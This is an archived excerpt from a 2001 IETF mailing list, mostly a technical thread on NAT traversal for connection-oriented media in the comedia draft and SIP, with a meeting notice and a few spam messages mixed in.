	for confctrl-outgoing; Tue, 10 Jul 2001 19:36:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA26854
	for <confctrl@zephyr.isi.edu>; Tue, 10 Jul 2001 19:36:02 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6B2a9L05236
	for <confctrl@ISI.EDU>; Tue, 10 Jul 2001 19:36:11 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f6B2ZSki024479;
	Tue, 10 Jul 2001 22:35:28 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <3VPSWHPF>; Tue, 10 Jul 2001 22:35:55 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF0128C8DF@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'David Yon'" <yon@dialout.net>,
        "Fairlie-Cuninghame, Robert"
	 <rfairlie@nuera.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: Comedia Issues.
Date: Tue, 10 Jul 2001 22:35:54 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: David Yon [mailto:yon@dialout.net]
> Sent: Monday, July 09, 2001 9:55 AM
> To: Fairlie-Cuninghame, Robert; Jonathan Rosenberg; 'confctrl@isi.edu'
> Subject: RE: Comedia Issues.
> 
> 
> >Now the difficulty comes, as you say, for fixed-port servers 
> where the
> >globally reachable transport address is shared between 
> multiple sessions.
> >The difficulty being that the application can't associate 
> the actual source
> >NAT address with the address in the SDP (w/o ALG's etc). I 
> would point out
> >however that SDP does NOT specify the source address for the 
> connectionless
> >case - the remote application is free to use any source 
> address it chooses -
> >comedia should not change this. Thus I don't agree that 
> source address
> >information can or should be used to provide the correlation for the
> >application. It can only be (reliably) provided in the media 
> stream itself
> >unless each connection is assigned a unique port on the 
> globally reachable
> >side.
> 
> It all depends on how the network is designed.  There ARE 
> deployments where 
> you can in fact assume correct addressing.  For those 
> deployments where you 
> cannot assume this, then yes you must be careful.

And how is the server to know whether it is in one of these specially
designed deployments? We are designing protocols for an Internet, not an
intranet.

> 
> 
> > >          - There is nothing in the comedia draft that introduces a
> > >            new problem vis-a-vis NATs/Firewalls.
> > >
> > > To attack this problem in a draft whose sole purpose is to
> > > define a way to
> > > describe connection-based protocols, would be a mistake.
> > >
> >
> >If you provide a function in a draft, IMO the draft should 
> describe why the
> >function is provided and how it is designed to be used 
> (without being overly
> >restrictive) - especially when the function is fairly liable to
> >misinterpretation of purpose or use.
> >
> >The comedia draft goes beyond just describing the protocol 
> by allowing the
> >source information to be included. If you were to remove 
> this functionality
> >then I would agree with you that this argument is beyond the 
> scope of the
> >draft.
> >
> >As this is included (and highly susceptible to mis-use 
> causing a loss in
> >interoperability) then I think it's usage needs to discussed 
> in the draft.
> 
> That's fine, and I can spin a new version that discusses the 
> problem more 
> directly.  But that's different than Jonathan's statement, 
> which implied 
> that comedia shouldn't move forward until it works in all 
> cases without the 
> aid of an ALP.  On that basis we should be putting the brakes on 
> draft-ietf-sip-rfc2543bis-03, which also doesn't work well with NATs.

Well, to be honest, if I had to do it over, I would have designed SIP from
the start to be nat friendly. Unfortunately, I don't have this luxury, and
so am forced to fix this through extensions. I am spending quite a bit of
time on doing exactly that.

David also wrote:
> Yes, the world is full of NATs.  The world is also full of 
> ALPs, which are 
> currently the industry-standard way to address NAT-induced 
> breakage.  It is 
> NOT the case that comedia cannot work through a NAT, even in 
> the absence of 
> an ALP.  Refer to my earlier email that discusses network 
> designs where 
> comedia can, in fact, work through a NAT.

<soapbox>
I disagree wholeheartedly. These days, people building new protocols that
want them used can't wait the 2-3 years it will take all NAT vendors to
implement the new protocol, not to mention the additional 2-3 years for
existing NATs that don't support it to get upgraded, followed by an
additional 2-3 years for upgrades to those nats as protocol extensions that
impact nat get standardized. Gnutella, for example, was designed to work
through nats from the get-go. I assure you that there would be no gnutella
today if they had designed a nat-unfriendly protocol and waited for Cisco,
Linksys, Netgear, Netopia, 2Wire, ...... to all get in line and implement a
gnutella ALG. The same is true for yahoo IM, AOL IM, net2phone's voip
protocol, and so on. In fact, the usage of ALGs, IMHO, is counter to the
end-to-end principle. Placing ALGs in NATs (which are routers), is akin to
saying "push application intelligence into layer 3, for every application
you might run". Is this not counter to the very notion of the Internet??
Rather, the end-to-end principle would argue for letting applications, in
end systems or network servers, learn about and deal with the
application-unaware nats that are present in the network. The midcom group
is all about that - moving application intelligence out of nats, and not
into them. The work I've been doing on sip traversal of residential nats is
doing the same - it argues that sip entities are ideally suited to figure
out how to traverse nats, not the other way around.
</soapbox>

That said, practically speaking, how will you get interoperability if the
source identification problem only "sometimes" works, and whether it works
depends on whether there is a nat somewhere else far away from the server?
Wouldn't you rather have a mechanism that allows you to deploy TODAY? I
assure you, I have been burnt bad with nats and sip, and I have sworn that I
will not make that mistake again....

Now, I am not advocating an RTP-specific mechanism. David has argued that
dealing with RTP doesn't belong in a draft on connection oriented media. The
problem is that the draft is really doing two separate things, (1)
describing how to use connection oriented media, and (2) describing how to
identify the source of media. Now, (2) is useful for single-port servers
that are using connection oriented media, but they are not the only users of
such a thing. I can name a few very useful applications of knowing the
source of media, and correlating that with signaling. So, I would aruge that
if the draft is covering (2), it should cover it fully and correctly, rather
than dealing with a narrow set of cases that we can't even assure
interoperability for.

One last point to note, is that even UDP/RTP can be connection-oriented. The
fact that connection-oriented protocols require only the server to have a
public address is a huge benefit for nat traversal, and one I am very
interested in. See:

http://search.ietf.org/internet-drafts/draft-rosenberg-sip-entfw-01.txt

which specifies symmetric RTP. That draft even requests a new token to be
added to your draft. Don't add it though; a new version of the above is
coming out which doesn't need that. Keep a look out for it, it has some
pretty neat solutions in there that really finally  put sip nat traversal to
rest as a solved problem.

Now, I am really, really, really interested in the case where we have
connection oriented RTP/UDP with a single port server. In this case, I will
need that source identification for RTP/UDP. Why is that interesting? Well,
it allows firewall admins to set a single static rule for all voip to work
through it... its about time we had that.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Thu Jul 12 00:01:26 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA01974
	for confctrl-outgoing; Thu, 12 Jul 2001 00:01:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA01969
	for <confctrl@zephyr.isi.edu>; Thu, 12 Jul 2001 00:01:25 -0700 (PDT)
Received: from yourwebsite.com (bochmanhsd.ne.mediaone.net [65.96.151.197])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f6C71ZL10648
	for <confctrl@isi.edu>; Thu, 12 Jul 2001 00:01:35 -0700 (PDT)
Message-Id: <200107120701.f6C71ZL10648@tnt.isi.edu>
Reply-To: EJ@ISI.EDU
From: emilia7777@yahoo.com
To: confctrl@ISI.EDU
Subject: Moms on the Edge
Mime-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Date: Thu, 12 Jul 2001 03:02:54 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I highly recommend the new gallery/website at www.scaramoosh.com.  There are some extremely funny art prints by a new pop-artist who's apparently off her rocker ... and they're great !!!

EJ

From confctrl-owner  Thu Jul 12 06:08:06 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA18380
	for confctrl-outgoing; Thu, 12 Jul 2001 06:08:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA18375
	for <confctrl@zephyr.isi.edu>; Thu, 12 Jul 2001 06:08:05 -0700 (PDT)
Received: from ns.tellique.de (root@[194.25.159.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6CD8EL08857
	for <confctrl@isi.edu>; Thu, 12 Jul 2001 06:08:15 -0700 (PDT)
Received: from tzi.uni-bremen.de (root@localhost [127.0.0.1])
	by ns.tellique.de (8.9.3/8.9.3) with ESMTP id PAA86890;
	Thu, 12 Jul 2001 15:07:12 +0200 (CEST)
	(envelope-from jo@tzi.uni-bremen.de)
Message-ID: <3B4DA054.1DCCF989@tzi.uni-bremen.de>
Date: Thu, 12 Jul 2001 15:04:20 +0200
From: Joerg Ott <jo@tzi.uni-bremen.de>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, mmusic@informatik.uni-bremen.de
Subject: MMUSIC at 51st IETF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

MMUSIC is scheduled to meet once at the 51st IETF,

    Thurday, 9 August 2001, 1300-1500

The topics of this meeting will focus on issues surrounding numerous
SDP extensions as well as on SDPng.  We may include air time for RTSP
if necessary.

Please send slot requests for this meeting to Colin Perkins (csp@isi.edu)
and myself (jo@ipdialog.com).

Joerg

From confctrl-owner  Fri Jul 13 01:57:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA25466
	for confctrl-outgoing; Fri, 13 Jul 2001 01:57:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA25455
	for <confctrl@zephyr.isi.edu>; Fri, 13 Jul 2001 01:57:10 -0700 (PDT)
Received: from mail_server.moe.gov.sa ([212.33.168.18])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6D8vCL07065;
	Fri, 13 Jul 2001 01:57:15 -0700 (PDT)
Received: from testudio.com (raptor.moe.gov.sa [128.128.100.202]) by mail_server.moe.gov.sa with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id 33G55LJ6; Fri, 13 Jul 2001 11:32:12 +0100
Message-ID: <00004eff1054$000057fb$00004bbd@testudio.com>
To: <newideas@americallint.net>
From: dealsmart1@testudio.com
Subject: RE: thankyou                         19389
Date: Fri, 13 Jul 2001 01:33:08 -0700
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-12=
52">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY vLink=3D#c0c0c0 link=3D#c0c0c0 bgColor=3D#000000 leftMargin=3D0><FON=
T 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D#999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#ff0000 size=3D5><B>Connects Up To 100 Participants!</B><=
/FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D#999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBODY><=
/TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#999999 size=3D4>If you like saving m=
oney, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#999999 size=3D2>Required Input Field<FONT color=3D#ff000=
0 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D#333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D#ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inbox881@excite.com?subject=3DConference_Inqui=
ry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D"100%">
        <TBODY>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D"Submit Information" name=3Dsubmit> 
    </FORM></P></TD></TR></TBODY></TABLE>
<P>
	<P align=3Dcenter><FONT color=3D999999 face=3D"Arial, Helvetica, sans-ser=
if" size=3D5>
	This could be your ad!</FONT></B><FONT face=3D"Arial, Helvetica, sans-ser=
if" size=3D2>
	<BR><A href=3D"mailto:inbox722@excite.com?subject=3DDirect Marketing">
	<FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</FONT=
></P>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D"Arial, Helvetica, sans-serif" color=3D=
#999999 
      size=3D1>This email is to those persons that have contacted Conferen=
ce Calls 
      for Less regarding available services or product information. If thi=
s 
      email is reaching you in error and you feel that you have not contac=
ted 
      us, <FONT color=3D#666666><A 
      href=3D"mailto:rem0veplese@excite.com?subject=3DRemove_Conferencing"=
>Click 
      here</A></FONT>. We will gladly remove you from our mailing 
      list.</FONT><BR></TD></TR></TBODY></TABLE></P></CENTER></FONT></BODY=
></HTML>




From confctrl-owner  Fri Jul 13 02:41:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA27595
	for confctrl-outgoing; Fri, 13 Jul 2001 02:41:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA27590
	for <confctrl@zephyr.isi.edu>; Fri, 13 Jul 2001 02:41:21 -0700 (PDT)
Received: from mail.high-tech-communications.com (mail.high-tech-communications.com [216.133.228.90])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6D9fWL13156
	for <confctrl@isi.edu>; Fri, 13 Jul 2001 02:41:32 -0700 (PDT)
Received: (from content-management@localhost)
	by mail.high-tech-communications.com (8.11.2/8.11.2) id f6D9rVe22075;
	Fri, 13 Jul 2001 02:53:31 -0700
Date: Fri, 13 Jul 2001 02:53:31 -0700
Message-Id: <200107130953.f6D9rVe22075@mail.high-tech-communications.com>
To: confctrl@ISI.EDU
From: Victor Black <content-management@high-tech-communcations.com>
Subject: New web utility
Content-Type: text/html; charset=iso-8859-1
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE></TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 5.50.4616.200" name=GENERATOR></HEAD>
<BODY>
<P><FONT size=2><FONT face=Arial>I noticed your email address on a list serve 
related to technology and web development.&nbsp; With your permission, 
we<BR>would like to send you information regarding new web tools and utilities 
based on your interests.&nbsp; Please click the<BR>following link and opt-in to 
our product updates and e-newsletter, click here: </FONT><A target=_blank 
href="http://216.133.228.90/"><FONT 
face=Arial>http://216.133.228.90/</FONT></A><BR><BR><FONT 
face=Arial>Cordially,<BR><BR>Victor 
Black<BR>High-Tech-Communications.com</FONT></FONT><FONT face=Arial> </FONT></P>
<P><FONT size=2><FONT face=Arial>If you would like to be removed from our 
database, please click here: </FONT><A 
href="http://216.133.228.90/remove.cgi"><FONT 
face=Arial>http://216.133.228.90/remove.cgi</FONT></A></FONT></P>
<P><FONT face=Arial size=2></FONT>&nbsp;</P></BODY></HTML>


From confctrl-owner  Fri Jul 13 14:06:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA04448
	for confctrl-outgoing; Fri, 13 Jul 2001 14:06:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA04443
	for <confctrl@zephyr.isi.edu>; Fri, 13 Jul 2001 14:06:28 -0700 (PDT)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f6DL6dL13742
	for <confctrl@isi.edu>; Fri, 13 Jul 2001 14:06:39 -0700 (PDT)
Received: from 157.54.9.100 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 13 Jul 2001 14:01:40 -0700 (Pacific Daylight Time)
Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-imc-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 13 Jul 2001 14:01:16 -0700
Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.82]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 13 Jul 2001 14:01:33 -0700
Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 13 Jul 2001 14:00:35 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.0.5683.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: Comedia Issues.
Date: Fri, 13 Jul 2001 14:00:35 -0700
Message-ID: <F66A04C29AD9034A8205949AD0C90104A3E596@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Comedia Issues.
Thread-Index: AcEJsxa3fQMVWG+cRZKniXSKv8ERcgCK7Rxg
From: "Christian Huitema" <huitema@windows.microsoft.com>
To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>,
        "David Yon" <yon@dialout.net>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 13 Jul 2001 21:00:35.0888 (UTC) FILETIME=[DCD81B00:01C10BDE]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id OAA04444
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If we really want to solve NAT traversal, we should also remove the
requirement to have RTP run on an even port, and RTCP on the next odd
port. In fact, we should run RTP and RTCP on the same port.

Note that there may be a generic way to deal with NAT, i.e. move to
IPv6.

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Tuesday, July 10, 2001 7:36 PM
> To: 'David Yon'; Fairlie-Cuninghame, Robert; Jonathan Rosenberg;
> 'confctrl@isi.edu'
> Subject: RE: Comedia Issues.
> 
> 
> 
> 
> 
> > -----Original Message-----
> > From: David Yon [mailto:yon@dialout.net]
> > Sent: Monday, July 09, 2001 9:55 AM
> > To: Fairlie-Cuninghame, Robert; Jonathan Rosenberg;
> 'confctrl@isi.edu'
> > Subject: RE: Comedia Issues.
> >
> >
> > >Now the difficulty comes, as you say, for fixed-port servers
> > where the
> > >globally reachable transport address is shared between
> > multiple sessions.
> > >The difficulty being that the application can't associate
> > the actual source
> > >NAT address with the address in the SDP (w/o ALG's etc). I
> > would point out
> > >however that SDP does NOT specify the source address for the
> > connectionless
> > >case - the remote application is free to use any source
> > address it chooses -
> > >comedia should not change this. Thus I don't agree that
> > source address
> > >information can or should be used to provide the correlation for
> the
> > >application. It can only be (reliably) provided in the media
> > stream itself
> > >unless each connection is assigned a unique port on the
> > globally reachable
> > >side.
> >
> > It all depends on how the network is designed.  There ARE
> > deployments where
> > you can in fact assume correct addressing.  For those
> > deployments where you
> > cannot assume this, then yes you must be careful.
> 
> And how is the server to know whether it is in one of these specially
> designed deployments? We are designing protocols for an Internet, not
> an
> intranet.
> 
> >
> >
> > > >          - There is nothing in the comedia draft that introduces
> a
> > > >            new problem vis-a-vis NATs/Firewalls.
> > > >
> > > > To attack this problem in a draft whose sole purpose is to
> > > > define a way to
> > > > describe connection-based protocols, would be a mistake.
> > > >
> > >
> > >If you provide a function in a draft, IMO the draft should
> > describe why the
> > >function is provided and how it is designed to be used
> > (without being overly
> > >restrictive) - especially when the function is fairly liable to
> > >misinterpretation of purpose or use.
> > >
> > >The comedia draft goes beyond just describing the protocol
> > by allowing the
> > >source information to be included. If you were to remove
> > this functionality
> > >then I would agree with you that this argument is beyond the
> > scope of the
> > >draft.
> > >
> > >As this is included (and highly susceptible to mis-use
> > causing a loss in
> > >interoperability) then I think it's usage needs to discussed
> > in the draft.
> >
> > That's fine, and I can spin a new version that discusses the
> > problem more
> > directly.  But that's different than Jonathan's statement,
> > which implied
> > that comedia shouldn't move forward until it works in all
> > cases without the
> > aid of an ALP.  On that basis we should be putting the brakes on
> > draft-ietf-sip-rfc2543bis-03, which also doesn't work well with
> NATs.
> 
> Well, to be honest, if I had to do it over, I would have designed SIP
> from
> the start to be nat friendly. Unfortunately, I don't have this luxury,
> and
> so am forced to fix this through extensions. I am spending quite a bit
> of
> time on doing exactly that.
> 
> David also wrote:
> > Yes, the world is full of NATs.  The world is also full of
> > ALPs, which are
> > currently the industry-standard way to address NAT-induced
> > breakage.  It is
> > NOT the case that comedia cannot work through a NAT, even in
> > the absence of
> > an ALP.  Refer to my earlier email that discusses network
> > designs where
> > comedia can, in fact, work through a NAT.
> 
> <soapbox>
> I disagree wholeheartedly. These days, people building new protocols
> that
> want them used can't wait the 2-3 years it will take all NAT vendors
> to
> implement the new protocol, not to mention the additional 2-3 years
> for
> existing NATs that don't support it to get upgraded, followed by an
> additional 2-3 years for upgrades to those nats as protocol extensions
> that
> impact nat get standardized. Gnutella, for example, was designed to
> work
> through nats from the get-go. I assure you that there would be no
> gnutella
> today if they had designed a nat-unfriendly protocol and waited for
> Cisco,
> Linksys, Netgear, Netopia, 2Wire, ...... to all get in line and
> implement a
> gnutella ALG. The same is true for yahoo IM, AOL IM, net2phone's voip
> protocol, and so on. In fact, the usage of ALGs, IMHO, is counter to
> the
> end-to-end principle. Placing ALGs in NATs (which are routers), is
> akin to
> saying "push application intelligence into layer 3, for every
> application
> you might run". Is this not counter to the very notion of the
> Internet??
> Rather, the end-to-end principle would argue for letting applications,
> in
> end systems or network servers, learn about and deal with the
> application-unaware nats that are present in the network. The midcom
> group
> is all about that - moving application intelligence out of nats, and
> not
> into them. The work I've been doing on sip traversal of residential
> nats is
> doing the same - it argues that sip entities are ideally suited to
> figure
> out how to traverse nats, not the other way around.
> </soapbox>
> 
> That said, practically speaking, how will you get interoperability if
> the
> source identification problem only "sometimes" works, and whether it
> works
> depends on whether there is a nat somewhere else far away from the
> server?
> Wouldn't you rather have a mechanism that allows you to deploy TODAY?
> I
> assure you, I have been burnt bad with nats and sip, and I have sworn
> that I
> will not make that mistake again....
> 
> Now, I am not advocating an RTP-specific mechanism. David has argued
> that
> dealing with RTP doesn't belong in a draft on connection oriented
> media. The
> problem is that the draft is really doing two separate things, (1)
> describing how to use connection oriented media, and (2) describing
> how to
> identify the source of media. Now, (2) is useful for single-port
> servers
> that are using connection oriented media, but they are not the only
> users of
> such a thing. I can name a few very useful applications of knowing the
> source of media, and correlating that with signaling. So, I would
> aruge that
> if the draft is covering (2), it should cover it fully and correctly,
> rather
> than dealing with a narrow set of cases that we can't even assure
> interoperability for.
> 
> One last point to note, is that even UDP/RTP can be connection-
> oriented. The
> fact that connection-oriented protocols require only the server to
> have a
> public address is a huge benefit for nat traversal, and one I am very
> interested in. See:
> 
> http://search.ietf.org/internet-drafts/draft-rosenberg-sip-entfw-
> 01.txt
> 
> which specifies symmetric RTP. That draft even requests a new token to
> be
> added to your draft. Don't add it though; a new version of the above
> is
> coming out which doesn't need that. Keep a look out for it, it has
> some
> pretty neat solutions in there that really finally  put sip nat
> traversal to
> rest as a solved problem.
> 
> Now, I am really, really, really interested in the case where we have
> connection oriented RTP/UDP with a single port server. In this case, I
> will
> need that source identification for RTP/UDP. Why is that interesting?
> Well,
> it allows firewall admins to set a single static rule for all voip to
> work
> through it... its about time we had that.
> 
> -Jonathan R.
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com

From confctrl-owner  Fri Jul 13 20:26:27 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA23952
	for confctrl-outgoing; Fri, 13 Jul 2001 20:26:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA23947
	for <confctrl@zephyr.isi.edu>; Fri, 13 Jul 2001 20:26:25 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6E3QVL05521
	for <confctrl@ISI.EDU>; Fri, 13 Jul 2001 20:26:36 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f6E3PmRX024115;
	Fri, 13 Jul 2001 23:25:48 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <3YYCVAKN>; Fri, 13 Jul 2001 23:26:22 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D6204@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Christian Huitema'" <huitema@windows.microsoft.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        David Yon <yon@dialout.net>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        "confctrl@isi.edu"
	 <confctrl@ISI.EDU>
Subject: RE: Comedia Issues.
Date: Fri, 13 Jul 2001 23:26:21 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Christian Huitema [mailto:huitema@windows.microsoft.com]
> Sent: Friday, July 13, 2001 5:01 PM
> To: Jonathan Rosenberg; David Yon; Fairlie-Cuninghame, Robert;
> confctrl@isi.edu
> Subject: RE: Comedia Issues.
> 
> 
> If we really want to solve NAT traversal, we should also remove the
> requirement to have RTP run on an even port, and RTCP on the next odd
> port. In fact, we should run RTP and RTCP on the same port.

Yes!! That would solve so many problems.... keepalives through nats are done
